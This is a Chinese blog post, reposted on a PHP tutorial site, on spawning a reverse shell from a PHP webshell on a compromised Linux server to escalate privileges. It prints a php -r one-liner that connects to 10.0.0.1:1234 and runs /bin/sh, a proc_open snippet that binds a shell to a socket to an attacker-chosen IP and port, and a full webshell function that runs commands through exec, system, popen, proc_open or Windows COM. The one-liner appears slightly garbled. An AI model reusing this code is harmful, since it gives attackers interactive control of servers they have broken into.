Heim > php教程 > php手册 > php webshell下直接反弹shell(不借助任何其他语言)

php webshell下直接反弹shell(不借助任何其他语言)

WBOY
Freigeben: 2016-06-06 20:13:44
Original
3421 Leute haben es durchsucht

linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。 我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。 在我收集的反弹she

    linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

    我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。

    在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'
Nach dem Login kopieren
    但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。


    当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
Nach dem Login kopieren
    其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:


    38.jpg

    反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。

    不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:

    39.jpg

    具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。


    另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~

function exec_comm($cmd, &$type = '', &$suc = TRUE)
{
    set_error_handler("customError");
    $re = false;
    if (empty($cmd))  return '执行结果';
    if (empty($type)){
        if(function_exists('exec')){
            @exec($cmd, $re);
            $re = join("\n", $re);
            $type = 'exec';
        }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
            $type = 'shell_exec';
        }else if(function_exists('system')){
            @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'system';
        }else if(function_exists('passthru')){
            @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'passthru';
        }else if(is_resource($f = popen($cmd,"r"))){
            while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
            $type = 'popen';
        }else if(function_exists('proc_open')){
            $descriptorspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
             );
            $process = proc_open($cmd, $descriptorspec, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], "{$cmd}\r\n");
                fwrite($pipes[0], "exit\r\n");
                fclose($pipes[0]);
                // 读取输出
                while (!feof($pipes[1])) {
                    $re .= fgets($pipes[1], 1024);
                }
                fclose($pipes[1]);
                while (!feof($pipes[2])) {
                    $re .= fgets($pipes[2], 1024);
                  }
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }else if($type == 'wscript'){
        $s= new COM('wscript.shell');
        $exec = $s->exec($cmd);
        $stdout = $exec->StdOut();
        $re = $stdout->ReadAll();
    }else if($type == 'application'){
        $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
        $shell= new COM('Shell.Application');
        $shell->ShellExecute($exe,$cmd);
        $re = "请查看{$cmd}中输入文件内容\n";
    }
    if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
    return $re;
}
Nach dem Login kopieren
Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Empfehlungen
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage